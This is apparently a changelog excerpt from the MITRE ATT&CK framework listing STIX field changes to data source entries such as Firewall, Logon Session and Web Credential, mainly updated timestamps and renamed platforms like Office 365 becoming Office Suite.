[DS0018] Firewall
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-30T14:26:51.805Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0036] Group
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-30T14:26:51.805Z | 2024-10-14T22:11:30.271Z |
| x_mitre_platforms[3] | Office 365 | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
[DS0028] Logon Session
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-12-07T19:45:09.019Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0002] User Account
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-12-07T19:50:43.993Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0006] Web Credential
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-30T14:26:51.807Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
ics-attack
Patches
[DS0015] Application Log
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-05-11T14:00:00.188Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0028] Logon Session
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-12-07T19:45:09.019Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0002] User Account
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-12-07T19:50:43.993Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |